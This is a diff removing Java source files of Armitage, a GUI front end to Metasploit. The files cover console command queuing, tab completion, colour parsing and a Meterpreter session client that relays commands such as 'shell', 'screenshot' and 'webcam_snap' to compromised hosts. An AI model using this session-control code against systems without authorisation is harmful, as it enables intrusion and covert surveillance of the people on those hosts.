|
||||||
|
|
||||||
protected void processNormalCommand(Command c) {
|
|
||||||
Map read = null;
|
|
||||||
try {
|
|
||||||
if (c.text.startsWith("ECHO ")) {
|
|
||||||
if (display != null) {
|
|
||||||
display.append(c.text.substring(5));
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
StringBuffer writeme = new StringBuffer();
|
|
||||||
writeme.append(c.text);
|
|
||||||
writeme.append("\n");
|
|
||||||
|
|
||||||
/* absorb anything misc */
|
|
||||||
read = readResponse();
|
|
||||||
String prompt = ConsoleClient.cleanText(read.get("prompt") + "");
|
|
||||||
|
|
||||||
/* print ze command y0 */
|
|
||||||
if (display != null) {
|
|
||||||
display.append(prompt + writeme.toString());
|
|
||||||
}
|
|
||||||
|
|
||||||
/* write our command to whateverz */
|
|
||||||
connection.execute("console.write", new Object[] { consoleid, writeme.toString() });
|
|
||||||
|
|
||||||
/* start collecting output */
|
|
||||||
StringBuffer output = new StringBuffer();
|
|
||||||
Thread.sleep(10);
|
|
||||||
int count = 0;
|
|
||||||
long start = System.currentTimeMillis();
|
|
||||||
|
|
||||||
while ((read = readResponse()) != null) {
|
|
||||||
String text = null;
|
|
||||||
if (! isEmptyData( read.get("data") + "" ) ) {
|
|
||||||
text = read.get("data") + "";
|
|
||||||
output.append(text);
|
|
||||||
count++;
|
|
||||||
}
|
|
||||||
else if ("false".equals( read.get("busy") + "" ) && isEmptyData( read.get("data") + "" )) {
|
|
||||||
if (count > 0) {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
else if ((System.currentTimeMillis() - start) > 10000) {
|
|
||||||
/* this is a safety check to keep a console from spinning waiting for one command to complete. Shouldn't ever trigger. */
|
|
||||||
System.err.println("Timed out: " + c.text);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if ("failure".equals( read.get("result") + "" )) {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!prompt.equals( ConsoleClient.cleanText(read.get("prompt") + "") )) {
|
|
||||||
/* this is a state change, we'll count it */
|
|
||||||
count++;
|
|
||||||
}
|
|
||||||
|
|
||||||
Thread.sleep(10);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* fire an event with our output */
|
|
||||||
fireEvent(c, output.toString());
|
|
||||||
}
|
|
||||||
catch (Exception ex) {
|
|
||||||
System.err.println(consoleid + " -> " + c.text + " ( " + read + ")");
|
|
||||||
ex.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void append(String text) {
|
|
||||||
addCommand(null, "ECHO " + text + "\n");
|
|
||||||
}
|
|
||||||
|
|
||||||
public void setOptions(Map options) {
|
|
||||||
synchronized (this) {
|
|
||||||
Command temp = new Command();
|
|
||||||
temp.token = null;
|
|
||||||
temp.text = null;
|
|
||||||
temp.assign = options;
|
|
||||||
commands.add(temp);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void addCommand(Object token, String text) {
|
|
||||||
synchronized (this) {
|
|
||||||
if (text.trim().equals("")) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
Command temp = new Command();
|
|
||||||
temp.token = token;
|
|
||||||
temp.text = text;
|
|
||||||
commands.add(temp);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
protected boolean stop = false;
|
|
||||||
|
|
||||||
public void start() {
|
|
||||||
new Thread(this).start();
|
|
||||||
}
|
|
||||||
|
|
||||||
public void stop() {
|
|
||||||
synchronized (this) {
|
|
||||||
stop = true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void destroy() {
|
|
||||||
synchronized (this) {
|
|
||||||
destroyCommand = "console.release_and_destroy";
|
|
||||||
stop = true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
protected Command grabCommand() {
|
|
||||||
synchronized (this) {
|
|
||||||
return (Command)commands.pollFirst();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/* keep grabbing commands, acquiring locks, until everything is executed */
|
|
||||||
public void run() {
|
|
||||||
try {
|
|
||||||
Map read = (Map)connection.execute("console.allocate", new Object[] {});
|
|
||||||
consoleid = read.get("id") + "";
|
|
||||||
|
|
||||||
while (true) {
|
|
||||||
Command next = grabCommand();
|
|
||||||
if (next != null) {
|
|
||||||
processCommand(next);
|
|
||||||
Thread.sleep(10);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
synchronized (this) {
|
|
||||||
if (stop) {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (display != null)
|
|
||||||
readResponse();
|
|
||||||
|
|
||||||
Thread.sleep(1000);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
connection.execute(destroyCommand, new Object[] { consoleid });
|
|
||||||
}
|
|
||||||
catch (Exception ex) {
|
|
||||||
System.err.println("This console appears to be dead! " + consoleid + ", " + ex);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private String destroyCommand = "console.release";
|
|
||||||
|
|
||||||
private Map readResponse() throws Exception {
|
|
||||||
Thread.yield();
|
|
||||||
Map temp = (Map)(connection.execute("console.read", new Object[] { consoleid }));
|
|
||||||
if (display != null && !isEmptyData(temp.get("data") + "")) {
|
|
||||||
display.append(temp.get("data") + "");
|
|
||||||
fireSessionReadEvent(temp.get("data") + "");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (display != null && !isEmptyData(temp.get("prompt") + "")) {
|
|
||||||
String prompt = ConsoleClient.cleanText(temp.get("prompt") + "");
|
|
||||||
display.updatePrompt(prompt);
|
|
||||||
}
|
|
||||||
|
|
||||||
return temp;
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,60 +0,0 @@
|
||||||
package armitage;
|
|
||||||
|
|
||||||
import console.Console;
|
|
||||||
import msf.*;
|
|
||||||
import java.util.*;
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
import javax.swing.*;
|
|
||||||
|
|
||||||
import java.io.IOException;
|
|
||||||
|
|
||||||
public class EventLogTabCompletion extends GenericTabCompletion {
|
|
||||||
protected RpcConnection connection;
|
|
||||||
|
|
||||||
public EventLogTabCompletion(Console window, RpcConnection connection) {
|
|
||||||
super(window);
|
|
||||||
this.connection = connection;
|
|
||||||
}
|
|
||||||
|
|
||||||
public Collection getOptions(String text) {
|
|
||||||
try {
|
|
||||||
Map response = (Map)connection.execute("armitage.lusers", new Object[] {});
|
|
||||||
|
|
||||||
if (response.get("lusers") == null)
|
|
||||||
return null;
|
|
||||||
|
|
||||||
Iterator users = ((Collection)response.get("lusers")).iterator();
|
|
||||||
|
|
||||||
LinkedList options = new LinkedList();
|
|
||||||
String word;
|
|
||||||
String pre;
|
|
||||||
|
|
||||||
if (text.endsWith(" ")) {
|
|
||||||
word = "";
|
|
||||||
pre = text;
|
|
||||||
}
|
|
||||||
if (text.lastIndexOf(" ") != -1) {
|
|
||||||
word = text.substring(text.lastIndexOf(" ") + 1);
|
|
||||||
pre = text.substring(0, text.lastIndexOf(" ") + 1);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
word = text;
|
|
||||||
pre = "";
|
|
||||||
}
|
|
||||||
|
|
||||||
while (users.hasNext()) {
|
|
||||||
String user = users.next() + "";
|
|
||||||
if (user.startsWith(word)) {
|
|
||||||
options.add(pre + user);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return options;
|
|
||||||
}
|
|
||||||
catch (IOException ioex) {
|
|
||||||
ioex.printStackTrace();
|
|
||||||
}
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,108 +0,0 @@
|
||||||
package armitage;
|
|
||||||
|
|
||||||
import console.Console;
|
|
||||||
import msf.*;
|
|
||||||
import java.util.*;
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
import javax.swing.*;
|
|
||||||
|
|
||||||
/* A generic class to manage reading/writing to a console. Keeps the code simpler (although the Sleep code to do this is
|
|
||||||
simpler than this Java code. *sigh* */
|
|
||||||
public abstract class GenericTabCompletion {
|
|
||||||
protected Console window;
|
|
||||||
|
|
||||||
/* state for the actual tab completion */
|
|
||||||
protected String last = null;
|
|
||||||
protected Iterator tabs = null;
|
|
||||||
|
|
||||||
public Console getWindow() {
|
|
||||||
return window;
|
|
||||||
}
|
|
||||||
|
|
||||||
public GenericTabCompletion(Console windowz) {
|
|
||||||
this.window = windowz;
|
|
||||||
|
|
||||||
window.addActionForKey("pressed TAB", new AbstractAction() {
|
|
||||||
public void actionPerformed(final ActionEvent ev) {
|
|
||||||
tabComplete(ev);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
public abstract Collection getOptions(String text);
|
|
||||||
|
|
||||||
private void tabCompleteFirst(String text) {
|
|
||||||
try {
|
|
||||||
LinkedHashSet responses = new LinkedHashSet();
|
|
||||||
Collection options = getOptions(text);
|
|
||||||
|
|
||||||
if (options == null)
|
|
||||||
return;
|
|
||||||
|
|
||||||
/* cycle through all of our options, we want to split items up to the
|
|
||||||
first slash. We also want them to be unique and ordered (hence the
|
|
||||||
linked hash set */
|
|
||||||
Iterator i = options.iterator();
|
|
||||||
while (i.hasNext()) {
|
|
||||||
String option = i.next() + "";
|
|
||||||
|
|
||||||
String begin;
|
|
||||||
String end;
|
|
||||||
|
|
||||||
if (text.length() > option.length()) {
|
|
||||||
begin = option;
|
|
||||||
end = "";
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
begin = option.substring(0, text.length());
|
|
||||||
end = option.substring(text.length());
|
|
||||||
}
|
|
||||||
|
|
||||||
int nextSlash;
|
|
||||||
if ((nextSlash = end.indexOf('/')) > -1 && (nextSlash + 1) < end.length()) {
|
|
||||||
end = end.substring(0, nextSlash);
|
|
||||||
}
|
|
||||||
|
|
||||||
responses.add(begin + end);
|
|
||||||
}
|
|
||||||
|
|
||||||
responses.add(text);
|
|
||||||
|
|
||||||
synchronized (window) {
|
|
||||||
tabs = responses.iterator();
|
|
||||||
last = (String)tabs.next();
|
|
||||||
}
|
|
||||||
|
|
||||||
SwingUtilities.invokeLater(new Runnable() {
|
|
||||||
public void run() {
|
|
||||||
window.getInput().setText(last);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
catch (Exception ex) {
|
|
||||||
ex.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void tabComplete(ActionEvent ev) {
|
|
||||||
final String text = window.getInput().getText();
|
|
||||||
if (text.length() == 0)
|
|
||||||
return;
|
|
||||||
|
|
||||||
synchronized (window) {
|
|
||||||
if (tabs != null && tabs.hasNext() && text.equals(last)) {
|
|
||||||
last = (String)tabs.next();
|
|
||||||
window.getInput().setText(last);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
new Thread(new Runnable() {
|
|
||||||
public void run() {
|
|
||||||
tabCompleteFirst(text);
|
|
||||||
}
|
|
||||||
}).start();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,94 +0,0 @@
|
||||||
package armitage;
|
|
||||||
|
|
||||||
import console.Console;
|
|
||||||
import msf.*;
|
|
||||||
import java.util.*;
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
import javax.swing.*;
|
|
||||||
|
|
||||||
/* This is a rewritten client class to keep compatible with ConsoleClient but interface with the new
|
|
||||||
MeterpreterSession class. This new class makes sure each command is executed and receives its output
|
|
||||||
before the next one is executed. This prevents the Armitage UI from becoming confused */
|
|
||||||
|
|
||||||
public class MeterpreterClient implements ActionListener, MeterpreterSession.MeterpreterCallback {
|
|
||||||
protected Console window;
|
|
||||||
protected MeterpreterSession session;
|
|
||||||
protected ActionListener shellCommand;
|
|
||||||
|
|
||||||
public Console getWindow() {
|
|
||||||
return window;
|
|
||||||
}
|
|
||||||
|
|
||||||
public void commandComplete(String sid, Object token, Map response) {
|
|
||||||
if (token == this || token == null)
|
|
||||||
processRead(response);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void commandTimeout(String sid, Object token, Map response) {
|
|
||||||
window.append("[*] Timed out waiting for command to complete.\n");
|
|
||||||
}
|
|
||||||
|
|
||||||
private void processRead(Map read) {
|
|
||||||
try {
|
|
||||||
if (! "".equals( read.get("data") )) {
|
|
||||||
String text = read.get("data") + "";
|
|
||||||
window.append(text);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (! "".equals( read.get("prompt") )) {
|
|
||||||
window.updatePrompt(ConsoleClient.cleanText(read.get("prompt") + ""));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch (Exception ex) {
|
|
||||||
throw new RuntimeException(ex);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public MeterpreterClient(Console window, MeterpreterSession session, ActionListener shellCommand) {
|
|
||||||
this.window = window;
|
|
||||||
this.session = session;
|
|
||||||
this.shellCommand = shellCommand;
|
|
||||||
this.session.addListener(this);
|
|
||||||
|
|
||||||
setupListener();
|
|
||||||
|
|
||||||
window.updatePrompt("meterpreter > ");
|
|
||||||
}
|
|
||||||
|
|
||||||
/* called when the associated tab is closed */
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
/* nothing we need to do for now */
|
|
||||||
}
|
|
||||||
|
|
||||||
protected void finalize() {
|
|
||||||
actionPerformed(null);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void sendString(String text) {
|
|
||||||
window.append(window.getPromptText() + text);
|
|
||||||
session.addCommand(this, text);
|
|
||||||
}
|
|
||||||
|
|
||||||
protected void setupListener() {
|
|
||||||
window.getInput().addActionListener(new ActionListener() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
String text = window.getInput().getText() + "\n";
|
|
||||||
window.getInput().setText("");
|
|
||||||
|
|
||||||
if (shellCommand != null && text.trim().equals("shell")) {
|
|
||||||
shellCommand.actionPerformed(new ActionEvent(this, 0, "shell"));
|
|
||||||
}
|
|
||||||
else if (shellCommand != null && text.trim().equals("screenshot")) {
|
|
||||||
shellCommand.actionPerformed(new ActionEvent(this, 0, "screenshot"));
|
|
||||||
}
|
|
||||||
else if (shellCommand != null && text.trim().equals("webcam_snap")) {
|
|
||||||
shellCommand.actionPerformed(new ActionEvent(this, 0, "webcam_snap"));
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
sendString(text);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,18 +0,0 @@
|
||||||
package armitage;
|
|
||||||
|
|
||||||
import console.Console;
|
|
||||||
import java.util.*;
|
|
||||||
|
|
||||||
/* uses a console queue as a tab completion source */
|
|
||||||
public class QueueTabCompletion extends GenericTabCompletion {
|
|
||||||
protected ConsoleQueue queue;
|
|
||||||
|
|
||||||
public QueueTabCompletion(Console window, ConsoleQueue queue) {
|
|
||||||
super(window);
|
|
||||||
this.queue = queue;
|
|
||||||
}
|
|
||||||
|
|
||||||
public Collection getOptions(String text) {
|
|
||||||
return queue.tabComplete(text);
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,40 +0,0 @@
|
||||||
package armitage;
|
|
||||||
|
|
||||||
import console.Console;
|
|
||||||
import msf.*;
|
|
||||||
import java.util.*;
|
|
||||||
|
|
||||||
/** A generic class to execute several queries and return their results */
|
|
||||||
public class SimpleTimer implements Runnable {
|
|
||||||
protected long sleepPeriod;
|
|
||||||
protected Runnable doit;
|
|
||||||
protected boolean flag;
|
|
||||||
|
|
||||||
public SimpleTimer(long period) {
|
|
||||||
sleepPeriod = period;
|
|
||||||
flag = true;
|
|
||||||
}
|
|
||||||
|
|
||||||
public void setRunnable(Runnable r) {
|
|
||||||
doit = r;
|
|
||||||
new Thread(this).start();
|
|
||||||
}
|
|
||||||
|
|
||||||
/* this should only be called within the thread executing the runnable */
|
|
||||||
public void stop() {
|
|
||||||
flag = false;
|
|
||||||
}
|
|
||||||
|
|
||||||
public void run() {
|
|
||||||
try {
|
|
||||||
while (flag) {
|
|
||||||
doit.run();
|
|
||||||
Thread.sleep(sleepPeriod);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch (Exception ex) {
|
|
||||||
System.err.println("TIMER DIED | continue: " + flag + ", " + sleepPeriod + "ms, " + doit);
|
|
||||||
ex.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,41 +0,0 @@
|
||||||
package armitage;
|
|
||||||
|
|
||||||
import console.Console;
|
|
||||||
import msf.*;
|
|
||||||
import java.util.*;
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
import javax.swing.*;
|
|
||||||
|
|
||||||
import java.io.IOException;
|
|
||||||
|
|
||||||
/* A generic class to manage reading/writing to a console. Keeps the code simpler (although the Sleep code to do this is
|
|
||||||
simpler than this Java code. *sigh* */
|
|
||||||
public class TabCompletion extends GenericTabCompletion {
|
|
||||||
protected RpcConnection connection;
|
|
||||||
protected String session;
|
|
||||||
protected String tabsCommand;
|
|
||||||
|
|
||||||
public TabCompletion(Console window, RpcConnection connection, String session, String tabsCommand) {
|
|
||||||
super(window);
|
|
||||||
this.connection = connection;
|
|
||||||
this.session = session;
|
|
||||||
this.tabsCommand = tabsCommand;
|
|
||||||
}
|
|
||||||
|
|
||||||
public Collection getOptions(String text) {
|
|
||||||
try {
|
|
||||||
Map response = (Map)connection.execute(tabsCommand, new Object[] { session, text });
|
|
||||||
|
|
||||||
if (response.get("tabs") == null)
|
|
||||||
return null;
|
|
||||||
|
|
||||||
Collection options = (Collection)response.get("tabs");
|
|
||||||
return options;
|
|
||||||
}
|
|
||||||
catch (IOException ioex) {
|
|
||||||
ioex.printStackTrace();
|
|
||||||
}
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,173 +0,0 @@
|
||||||
package console;
|
|
||||||
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.swing.text.*;
|
|
||||||
|
|
||||||
/* a class for managing and parsing colors */
|
|
||||||
public class Colors {
|
|
||||||
public static final char bold = (char)2;
|
|
||||||
public static final char underline = (char)31;
|
|
||||||
public static final char color = (char)3;
|
|
||||||
public static final char cancel = (char)15;
|
|
||||||
public static final char reverse = (char)22;
|
|
||||||
|
|
||||||
private static final class Fragment {
|
|
||||||
protected SimpleAttributeSet attr = new SimpleAttributeSet();
|
|
||||||
protected StringBuffer text = new StringBuffer(32);
|
|
||||||
protected Fragment next = null;
|
|
||||||
|
|
||||||
public void advance() {
|
|
||||||
next = new Fragment();
|
|
||||||
next.attr = (SimpleAttributeSet)attr.clone();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
protected boolean showcolors = true;
|
|
||||||
|
|
||||||
public Colors(java.util.Properties prefs) {
|
|
||||||
colorTable = new Color[16];
|
|
||||||
colorTable[0] = Color.white;
|
|
||||||
colorTable[1] = new Color(0, 0, 0);
|
|
||||||
colorTable[2] = Color.decode("#3465A4");
|
|
||||||
colorTable[3] = Color.decode("#4E9A06");
|
|
||||||
colorTable[4] = Color.decode("#EF2929"); //new Color(255, 0, 0);
|
|
||||||
colorTable[5] = Color.decode("#CC0000");
|
|
||||||
colorTable[6] = Color.decode("#75507B");
|
|
||||||
colorTable[7] = Color.decode("#C4A000");
|
|
||||||
colorTable[8] = Color.decode("#FCE94F");
|
|
||||||
colorTable[9] = Color.decode("#8AE234");
|
|
||||||
colorTable[10] = Color.decode("#06989A");
|
|
||||||
colorTable[11] = Color.decode("#34E2E2");
|
|
||||||
colorTable[12] = Color.decode("#729FCF");
|
|
||||||
colorTable[13] = Color.decode("#AD7FA8");
|
|
||||||
//colorTable[14] = Color.decode("#555753");
|
|
||||||
colorTable[14] = Color.decode("#808080");
|
|
||||||
colorTable[15] = Color.lightGray;
|
|
||||||
|
|
||||||
for (int x = 0; x < 16; x++) {
|
|
||||||
String temps = prefs.getProperty("console.color_" + x + ".color", null);
|
|
||||||
//System.err.println("console.color_" + x + ".color=\\#" + Integer.toHexString(colorTable[x].getRGB()).substring(2));
|
|
||||||
if (temps != null) {
|
|
||||||
colorTable[x] = Color.decode(temps);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/* do we want to show colors or automatically strip all of them? */
|
|
||||||
showcolors = "true".equals(prefs.getProperty("console.show_colors.boolean", "true"));
|
|
||||||
}
|
|
||||||
|
|
||||||
protected Color colorTable[];
|
|
||||||
|
|
||||||
/* strip format codes from the text */
|
|
||||||
public String strip(String text) {
|
|
||||||
Fragment f = parse(text);
|
|
||||||
return strip(f);
|
|
||||||
}
|
|
||||||
|
|
||||||
private String strip(Fragment f) {
|
|
||||||
StringBuffer buffer = new StringBuffer(128);
|
|
||||||
while (f != null) {
|
|
||||||
buffer.append(f.text);
|
|
||||||
f = f.next;
|
|
||||||
}
|
|
||||||
return buffer.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private void append(StyledDocument doc, Fragment f) {
|
|
||||||
while (f != null) {
|
|
||||||
try {
|
|
||||||
if (f.text.length() > 0)
|
|
||||||
doc.insertString(doc.getLength(), f.text.toString(), f.attr);
|
|
||||||
}
|
|
||||||
catch (Exception ex) {
|
|
||||||
ex.printStackTrace();
|
|
||||||
}
|
|
||||||
f = f.next;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void append(JTextPane console, String text) {
|
|
||||||
StyledDocument doc = console.getStyledDocument();
|
|
||||||
Fragment f = parse(text);
|
|
||||||
if (showcolors) {
|
|
||||||
append(doc, f);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
append(doc, parse(strip(f)));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void set(JTextPane console, String text) {
|
|
||||||
/* don't update that which we do not need to update */
|
|
||||||
Fragment f = parse(text);
|
|
||||||
if (strip(f).equals(console.getText())) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
StyledDocument doc = console.getStyledDocument();
|
|
||||||
try {
|
|
||||||
doc.remove(0, doc.getLength());
|
|
||||||
if (showcolors)
|
|
||||||
append(doc, f);
|
|
||||||
else
|
|
||||||
append(doc, parse(strip(f)));
|
|
||||||
}
|
|
||||||
catch (BadLocationException ex) { ex.printStackTrace(); }
|
|
||||||
|
|
||||||
/* this is a dumb hack to prevent the height from getting out of whack */
|
|
||||||
console.setSize(new Dimension(1000, console.getSize().height));
|
|
||||||
}
|
|
||||||
|
|
||||||
private Fragment parse(String text) {
|
|
||||||
|
|
||||||
Fragment current = new Fragment();
|
|
||||||
Fragment first = current;
|
|
||||||
|
|
||||||
if (text == null)
|
|
||||||
return current;
|
|
||||||
|
|
||||||
char[] data = text.toCharArray();
|
|
||||||
int fore, back;
|
|
||||||
|
|
||||||
for (int x = 0; x < data.length; x++) {
|
|
||||||
switch (data[x]) {
|
|
||||||
case bold:
|
|
||||||
current.advance();
|
|
||||||
StyleConstants.setBold(current.next.attr, !StyleConstants.isBold(current.attr));
|
|
||||||
current = current.next;
|
|
||||||
break;
|
|
||||||
case underline:
|
|
||||||
current.advance();
|
|
||||||
StyleConstants.setUnderline(current.next.attr, !StyleConstants.isUnderline(current.attr));
|
|
||||||
current = current.next;
|
|
||||||
break;
|
|
||||||
case color: /* look for 0-9a-f = 16 colors */
|
|
||||||
current.advance();
|
|
||||||
if ((x + 1) < data.length && ((data[x + 1] >= '0' && data[x + 1] <= '9') || (data[x + 1] >= 'A' && data[x + 1] <= 'F'))) {
|
|
||||||
int index = Integer.parseInt(data[x + 1] + "", 16);
|
|
||||||
StyleConstants.setForeground(current.next.attr, colorTable[index]);
|
|
||||||
x += 1;
|
|
||||||
}
|
|
||||||
current = current.next;
|
|
||||||
break;
|
|
||||||
case '\n':
|
|
||||||
current.advance();
|
|
||||||
current = current.next;
|
|
||||||
current.attr = new SimpleAttributeSet();
|
|
||||||
current.text.append(data[x]);
|
|
||||||
break;
|
|
||||||
case cancel:
|
|
||||||
current.advance();
|
|
||||||
current = current.next;
|
|
||||||
current.attr = new SimpleAttributeSet();
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
current.text.append(data[x]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return first;
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,660 +0,0 @@
|
||||||
package console;
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.swing.event.*;
|
|
||||||
import javax.swing.border.*;
|
|
||||||
import javax.swing.text.*;
|
|
||||||
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
|
|
||||||
import java.io.PrintStream;
|
|
||||||
|
|
||||||
import java.util.*;
|
|
||||||
import java.util.regex.*;
|
|
||||||
|
|
||||||
import armitage.Activity;
|
|
||||||
|
|
||||||
/** A generic multi-feature console for use in the Armitage network attack tool */
|
|
||||||
public class Console extends JPanel implements FocusListener {
|
|
||||||
protected JTextPane console;
|
|
||||||
protected JTextField input;
|
|
||||||
protected JTextPane prompt;
|
|
||||||
|
|
||||||
protected PrintStream log = null;
|
|
||||||
|
|
||||||
protected Properties display;
|
|
||||||
protected Font consoleFont;
|
|
||||||
protected Colors colors;
|
|
||||||
|
|
||||||
protected ClickListener clickl;
|
|
||||||
|
|
||||||
protected String defaultPrompt = "meterpreter > ";
|
|
||||||
|
|
||||||
protected LinkedList components = new LinkedList();
|
|
||||||
protected ListIterator history = new LinkedList().listIterator(0);
|
|
||||||
|
|
||||||
public void addWordClickListener(ActionListener l) {
|
|
||||||
clickl.addListener(l);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void writeToLog(PrintStream p) {
|
|
||||||
log = p;
|
|
||||||
}
|
|
||||||
|
|
||||||
public void setDefaultPrompt(String p) {
|
|
||||||
defaultPrompt = p;
|
|
||||||
}
|
|
||||||
|
|
||||||
public void setPopupMenu(ConsolePopup menu) {
|
|
||||||
clickl.setPopup(menu);
|
|
||||||
}
|
|
||||||
|
|
||||||
public class ClickListener extends MouseAdapter {
|
|
||||||
protected LinkedList listeners = new LinkedList();
|
|
||||||
protected ConsolePopup popup = null;
|
|
||||||
protected Console parent = null;
|
|
||||||
|
|
||||||
public ClickListener(Console parent) {
|
|
||||||
this.parent = parent;
|
|
||||||
}
|
|
||||||
|
|
||||||
public void setPopup(ConsolePopup popup) {
|
|
||||||
this.popup = popup;
|
|
||||||
}
|
|
||||||
|
|
||||||
public void addListener(ActionListener l) {
|
|
||||||
listeners.add(l);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void mousePressed(MouseEvent ev) {
|
|
||||||
checkPopup(ev);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void mouseReleased(MouseEvent ev) {
|
|
||||||
checkPopup(ev);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void checkPopup(MouseEvent ev) {
|
|
||||||
if (ev.isPopupTrigger()) {
|
|
||||||
if (popup != null && console.getSelectedText() == null) {
|
|
||||||
String result = resolveWord();
|
|
||||||
popup.showPopup(result, ev);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
getPopupMenu((JTextComponent)ev.getSource()).show((JComponent)ev.getSource(), ev.getX(), ev.getY());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void mouseClicked(MouseEvent ev) {
|
|
||||||
if (!ev.isPopupTrigger()) {
|
|
||||||
String result = resolveWord();
|
|
||||||
Iterator i = listeners.iterator();
|
|
||||||
ActionEvent event = new ActionEvent(parent, 0, result);
|
|
||||||
|
|
||||||
if (!"".equals(result)) {
|
|
||||||
while (i.hasNext()) {
|
|
||||||
ActionListener l = (ActionListener)i.next();
|
|
||||||
l.actionPerformed(new ActionEvent(parent, 0, result));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
checkPopup(ev);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public String resolveWord() {
|
|
||||||
int position = console.getCaretPosition();
|
|
||||||
String data = console.getText();
|
|
||||||
|
|
||||||
int start = data.lastIndexOf(" ", position);
|
|
||||||
int end = data.indexOf(" ", position);
|
|
||||||
|
|
||||||
if (start == -1)
|
|
||||||
start = 0;
|
|
||||||
|
|
||||||
if (end == -1)
|
|
||||||
end = data.length();
|
|
||||||
|
|
||||||
if (end >= start) {
|
|
||||||
String temp = data.substring(start, end).trim();
|
|
||||||
int a = temp.indexOf("\n");
|
|
||||||
if (a > 0) {
|
|
||||||
return temp.substring(0, a);
|
|
||||||
}
|
|
||||||
return temp;
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public JTextField getInput() {
|
|
||||||
return input;
|
|
||||||
}
|
|
||||||
|
|
||||||
public void updateProperties(Properties display) {
|
|
||||||
this.display = display;
|
|
||||||
updateComponentLooks();
|
|
||||||
}
|
|
||||||
|
|
||||||
private void updateComponentLooks() {
|
|
||||||
colors = new Colors(display);
|
|
||||||
|
|
||||||
Color foreground = Color.decode(display.getProperty("console.foreground.color", "#ffffff"));
|
|
||||||
Color background = Color.decode(display.getProperty("console.background.color", "#000000"));
|
|
||||||
|
|
||||||
Iterator i = components.iterator();
|
|
||||||
while (i.hasNext()) {
|
|
||||||
JComponent component = (JComponent)i.next();
|
|
||||||
component.setForeground(foreground);
|
|
||||||
if (component == console || component == prompt)
|
|
||||||
component.setOpaque(false);
|
|
||||||
else
|
|
||||||
component.setBackground(background);
|
|
||||||
component.setFont(consoleFont);
|
|
||||||
|
